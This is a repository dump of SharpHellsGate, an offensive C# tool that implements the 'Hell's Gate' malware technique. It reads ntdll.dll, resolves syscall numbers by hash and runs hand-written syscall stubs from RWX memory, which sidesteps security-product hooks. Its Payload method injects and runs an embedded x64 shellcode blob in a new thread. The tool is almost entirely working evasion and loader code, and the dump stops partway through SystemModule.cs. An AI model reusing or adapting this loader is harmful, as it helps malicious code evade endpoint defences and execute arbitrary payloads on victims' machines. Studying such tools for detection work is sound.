Repository: am0nsec/SharpHellsGate
Branch: master
Commit: 6716a819c6b5
Files: 15
Total size: 109.9 KB
Directory structure:
gitextract_v05_cun6/
├── .github/
│ └── workflows/
│ └── documentation.yaml
├── .gitignore
├── Doxyfile
├── LICENSE
├── README.md
├── SharpHellsGate/
│ ├── HellsGate.cs
│ ├── Module/
│ │ ├── MemoryUtil.cs
│ │ └── SystemModule.cs
│ ├── Program.cs
│ ├── SharpHellsGate.csproj
│ ├── Util.cs
│ └── Win32/
│ ├── DFunctions.cs
│ ├── Macros.cs
│ └── Structures.cs
└── SharpHellsGate.sln
================================================
FILE CONTENTS
================================================
================================================
FILE: .github/workflows/documentation.yaml
================================================
name: Documentation
# Controls when the action will run. Triggers the workflow on push or pull request
# events but only for the master branch
on:
push:
branches: [ master ]
jobs:
build-documentation:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
# Build the HTML documentation
- name: Doxygen Action
uses: mattnotmitt/doxygen-action@v1.1.0
with:
doxyfile-path: ./Doxyfile
working-directory: .
# Deploy the HTML documentation to GitHub Pages
- name: GH Pages Deployment
uses: peaceiris/actions-gh-pages@v3
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
publish_dir: ./doc/html/
enable_jekyll: false
allow_empty_commit: false
force_orphan: true
publish_branch: gh-pages
================================================
FILE: .gitignore
================================================
.vs/
SharpHellsGate/bin/
SharpHellsGate/obj/
================================================
FILE: Doxyfile
================================================
# Doxyfile 1.8.18
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PROJECT_NAME = "Shap Hell's Gate"
PROJECT_NUMBER = 1.0
PROJECT_BRIEF = "C# Implementation of the Hell's Gate VX Technique"
PROJECT_LOGO =
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CREATE_SUBDIRS = YES
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LATEX_TIMESTAMP = NO
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XML_PROGRAMLISTING = YES
XML_NS_MEMB_FILE_SCOPE = NO
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DOCBOOK_PROGRAMLISTING = NO
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#---------------------------------------------------------------------------
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================================================
FILE: LICENSE
================================================
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
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================================================
FILE: README.md
================================================
## C# Hell's Gate ##
C# Implementation of the Hell's Gate VX Technique
<br />
<br />
Link to the paper: https://vxug.fakedoma.in/papers/VXUG/Exclusive/HellsGate.pdf
<br /> PDF also included in this repository.
<br />
<br />
Link to the original C implementation: https://github.com/am0nsec/HellsGate
<br />
<br />
================================================
FILE: SharpHellsGate/HellsGate.cs
================================================
using System;
using SharpHellsGate.Win32;
using System.Runtime.InteropServices;
using System.Collections.Generic;
using System.Reflection;
using System.Runtime.CompilerServices;
namespace SharpHellsGate {
/// <summary>
/// Main implementation of the Hell's Gate technique.
/// Responsible for generating a RWX memory region, inject and execute system call stubs.
/// </summary>
public class HellsGate {
/// <summary>
/// Used to check if the RWX memory region was generated.
/// </summary>
private bool IsGateReady { get; set; } = false;
/// <summary>
/// Used as for mutual exclusion while injecting and execution of the system call stub in memory.
/// </summary>
private object Mutant { get; set; } = new object();
/// <summary>
///
/// </summary>
private Dictionary<UInt64, Util.APITableEntry> APITable { get; set; } = new Dictionary<ulong, Util.APITableEntry>() { };
/// <summary>
/// Address of the managed method that was JIT'ed.
/// </summary>
private IntPtr MangedMethodAddress { get; set; } = IntPtr.Zero;
/// <summary>
/// Address of the RWX memory region after JIT compiling the managed method.
/// </summary>
private IntPtr UnmanagedMethodAddress { get; set; } = IntPtr.Zero;
/// <summary>
/// This function will be JIT at runtime to create RWX memory region.
/// </summary>
//// <returns>Gate returns either STATUS_SUCCESS or an error status code.</returns>
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
private static UInt32 Gate() {
return new UInt32();
}
/// <summary>
/// Inject in memory a basic system call stub and return a delegate for execution via un-managed code.
/// </summary>
/// <typeparam name="T">The desired delegate Type.</typeparam>
/// <param name="syscall">The system call to execute.</param>
/// <returns>A delegate of to execute the system call.</returns>
private T NtInvocation<T>(Int16 syscall) where T: Delegate {
if (!this.IsGateReady || this.UnmanagedMethodAddress == IntPtr.Zero) {
Util.LogError("Unable to inject system call stub");
return default;
}
Span<byte> stub = stackalloc byte[24] {
0x4c, 0x8b, 0xd1, // mov r10, rcx
0xb8, (byte)syscall, (byte)(syscall >> 8), 0x00, 0x00, // mov eax, <syscall
0xf6, 0x04, 0x25, 0x08, 0x03, 0xfe, 0x7f, 0x01, // test byte ptr [SharedUserData+0x308],1
0x75, 0x03, // jne ntdll!<function>+0x15
0x0f, 0x05, // syscall
0xc3, // ret
0xcd, 0x2e, // int 2Eh
0xc3 // ret
};
Marshal.Copy(stub.ToArray(), 0, this.UnmanagedMethodAddress, stub.Length);
return Marshal.GetDelegateForFunctionPointer<T>(this.UnmanagedMethodAddress);
}
/// <summary>
/// Managed wrapper around the NtAllocateVirtualMemory native Windows function
/// </summary>
/// <param name="ProcessHandle">A handle for the process for which the mapping should be done.</param>
/// <param name="BaseAddress">A pointer to a variable that will receive the base address of the allocated region of pages.</param>
/// <param name="ZeroBits">The number of high-order address bits that must be zero in the base address of the section view.</param>
/// <param name="RegionSize">A pointer to a variable that will receive the actual size, in bytes, of the allocated region of pages.</param>
/// <param name="AllocationType">A bitmask containing flags that specify the type of allocation to be performed for the specified region of pages.</param>
/// <param name="Protect">A bitmask containing page protection flags that specify the protection desired for the committed region of pages.</param>
/// <returns>NtAllocateVirtualMemory returns either STATUS_SUCCESS or an error status code.</returns>
private UInt32 NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, UInt32 AllocationType, UInt32 Protect) {
lock (this.Mutant) {
Int16 syscall = this.APITable[Util.NtAllocateVirtualMemoryHash].Syscall;
if (syscall == 0x0000)
return Macros.STATUS_UNSUCCESSFUL;
DFunctions.NtAllocateVirtualMemory Func = NtInvocation<DFunctions.NtAllocateVirtualMemory>(syscall);
return Func(ProcessHandle, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect);
}
}
/// <summary>
/// Managed wrapper around the NtProtectVirtualMemory native Windows function.
/// </summary>
/// <param name="ProcessHandle">Handle to Process Object opened with PROCESS_VM_OPERATION access.</param>
/// <param name="BaseAddress">Pointer to base address to protect. Protection will change on all page containing specified address. On output, BaseAddress will point to page start address.</param>
/// <param name="NumberOfBytesToProtect">Pointer to size of region to protect. On output will be round to page size (4KB).</param>
/// <param name="NewAccessProtection">One or some of PAGE_... attributes.</param>
/// <param name="OldAccessProtection">Receive previous protection.</param>
/// <returns>NtProtectVirtualMemory returns either STATUS_SUCCESS or an error status code.</returns>
private UInt32 NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr NumberOfBytesToProtect, UInt32 NewAccessProtection, ref UInt32 OldAccessProtection) {
lock (this.Mutant) {
Int16 syscall = this.APITable[Util.NtProtectVirtualMemoryHash].Syscall;
if (syscall == 0x0000)
return Macros.STATUS_UNSUCCESSFUL;
DFunctions.NtProtectVirtualMemory Func = NtInvocation<DFunctions.NtProtectVirtualMemory>(syscall);
return Func(ProcessHandle, ref BaseAddress, ref NumberOfBytesToProtect, NewAccessProtection, out OldAccessProtection);
}
}
/// <summary>
/// Managed wrapper around the NtCreateThreadEx native Windows function.
/// </summary>
/// <param name="hThread">Caller supplied storage for the resulting handle.</param>
/// <param name="DesiredAccess">Specifies the allowed or desired access to the thread.</param>
/// <param name="ObjectAttributes">Initialized attributes for the object.</param>
/// <param name="ProcessHandle">Handle to the threads parent process.</param>
/// <param name="lpStartAddress">Address of the function to execute.</param>
/// <param name="lpParameter">Parameters to pass to the function.</param>
/// <param name="CreateSuspended">Whether the thread will be in suspended mode and has to be resumed later.</param>
/// <param name="StackZeroBits"></param>
/// <param name="SizeOfStackCommit">Initial stack memory to commit.</param>
/// <param name="SizeOfStackReserve">Initial stack memory to reserve.</param>
/// <param name="lpBytesBuffer"></param>
/// <returns>NtCreateThreadEx returns either STATUS_SUCCESS or an error status code.</returns>
private UInt32 NtCreateThreadEx(ref IntPtr hThread, uint DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr lpStartAddress, IntPtr lpParameter, bool CreateSuspended, uint StackZeroBits, uint SizeOfStackCommit, uint SizeOfStackReserve, IntPtr lpBytesBuffer) {
lock (this.Mutant) {
Int16 syscall = this.APITable[Util.NtCreateThreadExHash].Syscall;
if (syscall == 0x0000)
return Macros.STATUS_UNSUCCESSFUL;
DFunctions.NtCreateThreadEx Func = NtInvocation<DFunctions.NtCreateThreadEx>(syscall);
return Func(ref hThread, DesiredAccess, ObjectAttributes, ProcessHandle, lpStartAddress, lpParameter, CreateSuspended, StackZeroBits, SizeOfStackCommit, SizeOfStackReserve, lpBytesBuffer);
}
}
/// <summary>
/// Managed wrapper around the NtWaitForSingleObject native Windows function.
/// </summary>
/// <param name="ObjectHandle">Open handle to a alertable executive object.</param>
/// <param name="Alertable">If set, calling thread is signaled, so all queued APC routines are executed.</param>
/// <param name="TimeOuts">Time-out interval, in microseconds. NULL means infinite.</param>
/// <returns>NtWaitForSingleObject returns either STATUS_SUCCESS or an error status code.</returns>
private UInt32 NtWaitForSingleObject(IntPtr ObjectHandle, bool Alertable, ref Structures.LARGE_INTEGER TimeOuts) {
lock (this.Mutant) {
Int16 syscall = this.APITable[Util.NtWaitForSingleObjectHash].Syscall;
if (syscall == 0x0000)
return Macros.STATUS_UNSUCCESSFUL;
DFunctions.NtWaitForSingleObject Func = NtInvocation<DFunctions.NtWaitForSingleObject>(syscall);
return Func(ObjectHandle, Alertable, ref TimeOuts);
}
}
/// <summary>
/// .ctor
/// </summary>
/// <param name="Table">The API table that will be used by the multiple function wrapers.</param>
public HellsGate(Dictionary<UInt64, Util.APITableEntry> Table) {
this.APITable = Table;
}
/// <summary>
/// JIT a static method to generate RWX memory segment.
/// </summary>
/// <returns>Whether the memory segment was successfully generated.</returns>
public bool GenerateRWXMemorySegment() {
// Find and JIT the method
MethodInfo method = typeof(HellsGate).GetMethod(nameof(Gate), BindingFlags.Static | BindingFlags.NonPublic);
if (method == null) {
Util.LogError("Unable to find the method");
return false;
}
RuntimeHelpers.PrepareMethod(method.MethodHandle);
// Get the address of the function and check if first opcode == JMP
IntPtr pMethod = method.MethodHandle.GetFunctionPointer();
if (Marshal.ReadByte(pMethod) != 0xe9) {
Util.LogError("Method was not JIT'ed or invalid stub");
return false;
}
Util.LogInfo($"Managed method address: 0x{pMethod:x16}");
// Get address of jited method and stack alignment
Int32 offset = Marshal.ReadInt32(pMethod, 1);
UInt64 addr = (UInt64)pMethod + (UInt64)offset;
while (addr % 16 != 0)
addr++;
Util.LogInfo($"Unmanaged method address: 0x{addr:x16}\n");
this.MangedMethodAddress = method.MethodHandle.GetFunctionPointer();
this.UnmanagedMethodAddress = (IntPtr)addr;
this.IsGateReady = true;
return true;
}
/// <summary>
/// Payload example. In this case this is a basic shellcode self-injection.
/// </summary>
public void Payload() {
if (!this.IsGateReady) {
if (!this.GenerateRWXMemorySegment()) {
Util.LogError("Unable to generate RX memory segment");
return;
}
}
byte[] shellcode = new byte[273] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
0x63,0x00,0xc3
};
Util.LogInfo($"Shellcode size: {shellcode.Length} bytes");
// Allocate Memory
IntPtr pBaseAddres = IntPtr.Zero;
IntPtr Region = (IntPtr)shellcode.Length;
UInt32 ntstatus = NtAllocateVirtualMemory(Macros.GetCurrentProcess(), ref pBaseAddres, IntPtr.Zero, ref Region, Macros.MEM_COMMIT | Macros.MEM_RESERVE, Macros.PAGE_READWRITE);
if (!Macros.NT_SUCCESS(ntstatus)) {
Util.LogError($"Error ntdll!NtAllocateVirtualMemory (0x{ntstatus:0x8})");
return;
}
Util.LogInfo($"Page address: 0x{pBaseAddres:x16}");
// Copy Memory
Marshal.Copy(shellcode, 0, pBaseAddres, shellcode.Length);
Array.Clear(shellcode, 0, shellcode.Length);
// Change memory protection
UInt32 OldAccessProtection = 0;
ntstatus = NtProtectVirtualMemory(Macros.GetCurrentProcess(), ref pBaseAddres, ref Region, Macros.PAGE_EXECUTE_READ, ref OldAccessProtection);
if (!Macros.NT_SUCCESS(ntstatus) || OldAccessProtection != 0x0004) {
Util.LogError($"Error ntdll!NtProtectVirtualMemory (0x{ntstatus:0x8})");
return;
}
IntPtr hThread = IntPtr.Zero;
ntstatus = NtCreateThreadEx(ref hThread, 0x1FFFFF, IntPtr.Zero, Macros.GetCurrentProcess(), pBaseAddres, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
if (!Macros.NT_SUCCESS(ntstatus) || hThread == IntPtr.Zero) {
Util.LogError($"Error ntdll!NtCreateThreadEx (0x{ntstatus:0x8})");
return;
}
Util.LogInfo($"Thread handle: 0x{hThread:x16}\n");
// Wait for one second
Structures.LARGE_INTEGER TimeOut = new Structures.LARGE_INTEGER();
TimeOut.QuadPart = -10000000;
ntstatus = NtWaitForSingleObject(hThread, false, ref TimeOut);
if (ntstatus != 0x00) {
Util.LogError($"Error ntdll!NtWaitForSingleObject (0x{ntstatus:0x8})");
return;
}
}
}
}
================================================
FILE: SharpHellsGate/Module/MemoryUtil.cs
================================================
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
namespace SharpHellsGate.Module {
/// <summary>
/// Used to manipulate and extract information from a memory stream.
/// In this case the memory stream is the NTDLL module.
/// </summary>
public class MemoryUtil : IDisposable {
/// <summary>
/// The memory stream representation of the NTDLL module.
/// </summary>
protected Stream ModuleStream { get; set; }
/// <summary>
/// Dispose the memory stream when no longer needed.
/// </summary>
~MemoryUtil() => Dispose();
/// <summary>
/// Dispose the memory stream when no longer needed.
/// </summary>
public void Dispose() {
this.ModuleStream.Dispose();
this.ModuleStream.Close();
GC.SuppressFinalize(this);
}
/// <summary>
/// Extract a structure from the memory stream.
/// </summary>
/// <typeparam name="T">The Type of the structure to extract.</typeparam>
/// <param name="offset">The offset in the memory stream where the structure is located.</param>
/// <returns>The structure populated or the default structure.</returns>
protected T GetStructureFromBlob<T>(Int64 offset) where T : struct {
Span<byte> bytes = this.GetStructureBytesFromOffset<T>(offset);
if (Marshal.SizeOf<T>() != bytes.Length)
return default;
IntPtr ptr = Marshal.AllocHGlobal(Marshal.SizeOf<T>());
Marshal.Copy(bytes.ToArray(), 0, ptr, bytes.Length);
T s = Marshal.PtrToStructure<T>(ptr);
Marshal.FreeHGlobal(ptr);
return s;
}
/// <summary>
/// Extract the code from a native Windows function.
/// </summary>
/// <param name="offset">The location of the function in the memory stream.</param>
/// <returns>The 24 bytes representing the code of the function.</returns>
protected Span<byte> GetFunctionOpCode(Int64 offset) {
Span<byte> s = stackalloc byte[24];
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
this.ModuleStream.Read(s);
return s.ToArray();
}
/// <summary>
/// Extract a DWORD value from the memory stream.
/// </summary>
/// <param name="offset">The location of the DWORD in the memory stream.</param>
/// <returns>The value of the DWORD.</returns>
protected UInt32 ReadPtr32(Int64 offset) {
Span<byte> s = stackalloc byte[4];
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
this.ModuleStream.Read(s);
return BitConverter.ToUInt32(s);
}
/// <summary>
/// Extract a QWORD value from the memory stream.
/// </summary>
/// <param name="offset">The location of the QWORD in the memory stream.</param>
/// <returns>The value of the QWORD.</returns>
protected UInt64 ReadPtr64(Int64 offset) {
Span<byte> s = stackalloc byte[8];
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
this.ModuleStream.Read(s);
return BitConverter.ToUInt64(s);
}
/// <summary>
/// Extract a WORD value from the memory stream.
/// </summary>
/// <param name="offset">The location of the WORD in the memory stream.</param>
/// <returns>The value of the WORD.</returns>
protected UInt16 ReadUShort(Int64 offset) {
Span<byte> s = stackalloc byte[2];
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
this.ModuleStream.Read(s);
return BitConverter.ToUInt16(s);
}
/// <summary>
/// Extract an ASCII string from the memory stream.
/// </summary>
/// <param name="offset">The location of the ASCII string in the memory stream.</param>
/// <returns>The ASCII string.</returns>
protected string ReadAscii(Int64 offset) {
int length = 0;
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
while (this.ModuleStream.ReadByte() != 0x00)
length++;
Span<byte> s = length <= 1024 ? stackalloc byte[length] : new byte[length];
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
this.ModuleStream.Read(s);
return Encoding.ASCII.GetString(s);
}
/// <summary>
/// Extract the byte representation of a structure from the memory stream.
/// </summary>
/// <typeparam name="T">The Type of the structure to extract from the memory stream.</typeparam>
/// <param name="offset">The location of the structure in the memory stream.</param>
/// <returns>The structure as byte span.</returns>
protected Span<byte> GetStructureBytesFromOffset<T>(Int64 offset) where T : struct {
Span<byte> s = stackalloc byte[Marshal.SizeOf<T>()];
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
this.ModuleStream.Read(s);
return s.ToArray();
}
/// <summary>
/// Get a specific amount of bytes at a specific location in the memory stream.
/// </summary>
/// <param name="offset">The location of the bytes to extract from the memory stream.</param>
/// <param name="size">The number of bytes to extract from the memory stream at a give location.</param>
/// <returns>The desired bytes as a byte span.</returns>
protected Span<byte> GetBytesFromOffset(Int64 offset, int size) {
Span<byte> s = size >= 1024 ? new byte[size] : stackalloc byte[size];
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
this.ModuleStream.Read(s);
return s.ToArray();
}
}
}
================================================
FILE: SharpHellsGate/Module/SystemModule.cs
================================================
using System;
using System.IO;
using SharpHellsGate.Win32;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Linq;
namespace SharpHellsGate.Module {
/// <summary>
/// Wrapper around the NTDLL module.
/// Used to extract structures and find system calls.
/// </summary>
public class SystemModule : MemoryUtil {
/// <summary>
/// IMAGE_DOS_HEADER structure of the NTDLL module.
/// </summary>
public Structures.IMAGE_DOS_HEADER ModuleDOSHeader { get; private set; }
/// <summary>
/// IMAGE_NT_HEADERS64 structure of the NTDLL module.
/// </summary>
public Structures.IMAGE_NT_HEADERS64 ModuleNTHeaders { get; private set; }
/// <summary>
/// IMAGE_SECTION_HEADER structure from the NTDLL module.
/// </summary>
public List<Structures.IMAGE_SECTION_HEADER> ModuleSectionHeaders { get; private set; }
/// <summary>
/// IMAGE_EXPORT_DIRECTORY structure from the NTDLL module.
/// </summary>
public Structures.IMAGE_EXPORT_DIRECTORY ModuleExportDirectory { get; private set; }
/// <summary>
/// Location in the memory stream of the IMAGE_EXPORT_DIRECTORY structure.
/// </summary>
public Int64 ModuleExportDirectoryOffset { get; private set; }
/// <summary>
/// Location in the memory stream of the exported functions' name.
/// </summary>
public Int64 ModuleExportDirectoryAddressNamesOffset { get; private set; }
/// <summary>
/// Location in the memory stream of the exported functions' address.
/// </summary>
public Int64 ModuleExportDirectoryAddressFunctionsOffset { get; private set; }
/// <summary>
/// Location in the memory stream of the exported functions' ordinal.
/// </summary>
public Int64 ModuleExportDirectoryAddressNameOrdinalesOffset { get; private set; }
/// <summary>
/// Name of the module. Will be NTDLL.
/// </summary>
public string ModuleName { get; private set; }
/// <summary>
/// Path of the module. Will be %WINDIR%\System32\ntdll.dll
/// </summary>
public string ModulePath { get; private set; }
/// <summary>
/// .ctor
/// </summary>
/// <param name="name">Name of the module</param>
public SystemModule(string name) : base() {
this.ModuleName = name;
this.ModulePath = $"{Environment.SystemDirectory}\\{name}";
this.ModuleSectionHeaders = new List<Structures.IMAGE_SECTION_HEADER>() { };
this.LoadModule();
}
/// <summary>
/// Load the module into a memory stream.
/// </summary>
/// <returns>Whether the loading process was a success.</returns>
public bool LoadModule() {
if (string.IsNullOrEmpty(this.ModuleName)) {
Util.LogError("Module name not provided");
return false;
}
if (!File.Exists(this.ModulePath)) {
Util.LogError($"Unable to find module: {this.ModuleName}");
return false;
}
ReadOnlySpan<byte> ModuleBlob = File.ReadAllBytes(this.ModulePath);
if (ModuleBlob.Length == 0x00) {
Util.LogError($"Empty module content: {this.ModuleName}");
return false;
}
base.ModuleStream = new MemoryStream(ModuleBlob.ToArray());
return true;
}
/// <summary>
/// Reload all structures.
/// </summary>
/// <returns>Whether all structures were successfully reloaded.</returns>
public bool LoadAllStructures() {
if (this.GetModuleDOSHeader(true).Equals(default(Structures.IMAGE_DOS_HEADER)))
return false;
if (this.GetModuleNTHeaders(true).Equals(default(Structures.IMAGE_NT_HEADERS64)))
return false;
if (this.GetModuleSectionHeaders(true).Count != this.ModuleNTHeaders.FileHeader.NumberOfSections)
return false;
if (this.GetModuleExportDirectory(true).Equals(default(Structures.IMAGE_EXPORT_DIRECTORY)))
return false;
return true;
}
/// <summary>
/// Get the _IMAGE_DOS_HEADERstructure from the module.
/// </summary>
/// <param name="ReloadCache">Whether the data has to re-processed if not already cached.</param>
/// <returns>The IMAGE_NT_HEADERS64 structure of the module.</returns>
public Structures.IMAGE_DOS_HEADER GetModuleDOSHeader(bool ReloadCache = false) {
if (!this.ModuleDOSHeader.Equals(default(Structures.IMAGE_DOS_HEADER)) && !ReloadCache)
return this.ModuleDOSHeader;
if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) {
Util.LogError("Module not loaded");
return default;
}
this.ModuleDOSHeader = base.GetStructureFromBlob<Structures.IMAGE_DOS_HEADER>(0);
if (this.ModuleDOSHeader.e_magic != Macros.IMAGE_DOS_SIGNATURE) {
Util.LogError("Invalid DOS header signature");
return default;
}
return this.ModuleDOSHeader;
}
/// <summary>
/// Get the IMAGE_NT_HEADERS64 structure from the module.
/// </summary>
/// <param name="ReloadCache">Whether the data has to re-processed if not already cached.</param>
/// <returns>The IMAGE_NT_HEADERS64 structure of the module.</returns>
public Structures.IMAGE_NT_HEADERS64 GetModuleNTHeaders(bool ReloadCache = false) {
if (!this.ModuleNTHeaders.Equals(default(Structures.IMAGE_NT_HEADERS64)) && !ReloadCache)
return this.ModuleNTHeaders;
if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) {
Util.LogError("Module not loaded");
return default;
}
if (this.ModuleDOSHeader.Equals(default(Structures.IMAGE_DOS_HEADER)))
this.GetModuleDOSHeader();
this.ModuleNTHeaders = base.GetStructureFromBlob<Structures.IMAGE_NT_HEADERS64>(this.ModuleDOSHeader.e_lfanew);
if (this.ModuleNTHeaders.Signature != Macros.IMAGE_NT_SIGNATURE) {
Util.LogError("Invalid NT headers signature");
return default;
}
return this.ModuleNTHeaders;
}
/// <summary>
/// Get list of _IMAGE_SECTION_HEADER structures from the module.
/// </summary>
/// <param name="ReloadCache">Whether the data has to re-processed if not already cached.</param>
/// <returns>The list of _IMAGE_SECTION_HEADER structures.</returns>
public List<Structures.IMAGE_SECTION_HEADER> GetModuleSectionHeaders(bool ReloadCache = false) {
if (this.ModuleSectionHeaders.Count == this.ModuleNTHeaders.FileHeader.NumberOfSections && !ReloadCache)
return this.ModuleSectionHeaders;
if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) {
Util.LogError("Module not loaded");
return default;
}
if (this.ModuleNTHeaders.Equals(default(Structures.IMAGE_NT_HEADERS64)) || this.ModuleNTHeaders.FileHeader.Equals(default(Structures.IMAGE_FILE_HEADER)))
this.GetModuleNTHeaders();
for (Int16 cx = 0; cx < this.ModuleNTHeaders.FileHeader.NumberOfSections; cx++) {
Int64 iSectionOffset = this.GetModuleSectionOffset(cx);
Structures.IMAGE_SECTION_HEADER ImageSection = base.GetStructureFromBlob<Structures.IMAGE_SECTION_HEADER>(iSectionOffset);
if (!ImageSection.Equals(default(Structures.IMAGE_SECTION_HEADER)))
this.ModuleSectionHeaders.Add(ImageSection);
}
return this.ModuleSectionHeaders;
}
/// <summary>
/// Get a _IMAGE_SECTION_HEADER structure by name.
/// </summary>
/// <param name="name">The name of the section.</param>
/// <returns>The _IMAGE_SECTION_HEADER structure if exists.</returns>
public Structures.IMAGE_SECTION_HEADER GetModuleSectionHeaderByName(string name) {
if (name.Length > 8) {
Util.LogError("Invalid section name");
return default;
}
if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) {
Util.LogError("Module not loaded");
return default;
}
if (this.ModuleSectionHeaders.Count == 0x00)
this.GetModuleSectionHeaders();
return this.ModuleSectionHeaders.Where(x => x.Name.Equals(name, StringComparison.OrdinalIgnoreCase)).FirstOrDefault();
}
/// <summary>
/// Get the Export Address Table (aka EAT) from the module.
/// </summary>
/// <param name="ReloadCache">Whether the data has to re-processed if not already cached.</param>
/// <returns>the _IMAGE_EXPORT_DIRECTORY structure</returns>
public Structures.IMAGE_EXPORT_DIRECTORY GetModuleExportDirectory(bool ReloadCache = false) {
if (!this.ModuleExportDirectory.Equals(default(Structures.IMAGE_EXPORT_DIRECTORY)) && !ReloadCache)
return this.ModuleExportDirectory;
if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) {
Util.LogError("Module not loaded");
return default;
}
if (this.ModuleNTHeaders.Equals(default(Structures.IMAGE_NT_HEADERS64)))
this.GetModuleNTHeaders();
if (this.ModuleSectionHeaders.Count == 0x00)
this.GetModuleSectionHeaders();
this.ModuleExportDirectoryOffset = this.ConvertRvaToOffset(this.ModuleNTHeaders.OptionalHeader.DataDirectory[0].VirtualAddress);
this.ModuleExportDirectory = base.GetStructureFromBlob<Structures.IMAGE_EXPORT_DIRECTORY>(this.ModuleExportDirectoryOffset);
if (this.ModuleExportDirectory.Equals(default(Structures.IMAGE_EXPORT_DIRECTORY))) {
Util.LogError("Invalid export address table (EAT).");
return default;
}
// Parse all functions
this.ModuleExportDirectoryAddressNamesOffset = this.ConvertRvaToOffset(this.ModuleExportDirectory.AddressOfNames);
this.ModuleExportDirectoryAddressFunctionsOffset = this.ConvertRvaToOffset(this.ModuleExportDirectory.AddressOfFunctions);
this.ModuleExportDirectoryAddressNameOrdinalesOffset = this.ConvertRvaToOffset(this.ModuleExportDirectory.AddressOfNameOrdinals);
return this.ModuleExportDirectory;
}
/// <summary>
/// Get the address, name, system call for a given function hash.
/// </summary>
/// <param name="FunctionHash">DJB2 function hash.</param>
/// <returns></returns>
public Util.APITableEntry GetAPITableEntry(UInt64 FunctionHash) {
if (this.ModuleExportDirectoryAddressNamesOffset == 0x00 || this.ModuleExportDirectoryAddressFunctionsOffset == 0x00|| this.ModuleExportDirectoryAddressNameOrdinalesOffset == 0x00)
this.GetModuleExportDirectory();
if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) {
Util.LogError("Module not loaded");
return default;
}
Util.APITableEntry Entry = new Util.APITableEntry {
Hash = FunctionHash
};
for (Int32 cx = 0; cx < this.ModuleExportDirectory.NumberOfNames; cx++) {
UInt32 PtrFunctionName = base.ReadPtr32(this.ModuleExportDirectoryAddressNamesOffset + (sizeof(uint) * cx));
string FunctionName = base.ReadAscii(this.ConvertRvaToOffset(PtrFunctionName));
if (FunctionHash == Util.GetFunctionDJB2Hash(FunctionName)) {
UInt32 PtrFunctionAdddress = base.ReadPtr32(this.ModuleExportDirectoryAddressFunctionsOffset + (sizeof(uint) * (cx + 1)));
Span<byte> opcode = base.GetFunctionOpCode(this.ConvertRvaToOffset(PtrFunctionAdddress));
if (opcode[3] == 0xb8 && opcode[18] == 0x0f && opcode[19] == 0x05) {
Entry.Name = FunctionName;
Entry.Address = PtrFunctionAdddress;
Entry.Syscall = (Int16)(((byte)opcode[5] << 4) | (byte)opcode[4]);
return Entry;
}
}
}
return default;
}
/// <summary>
/// Get the offset of a _IMAGE_SECTION_HEADER structure.
/// </summary>
/// <param name="cx">The section to get.</param>
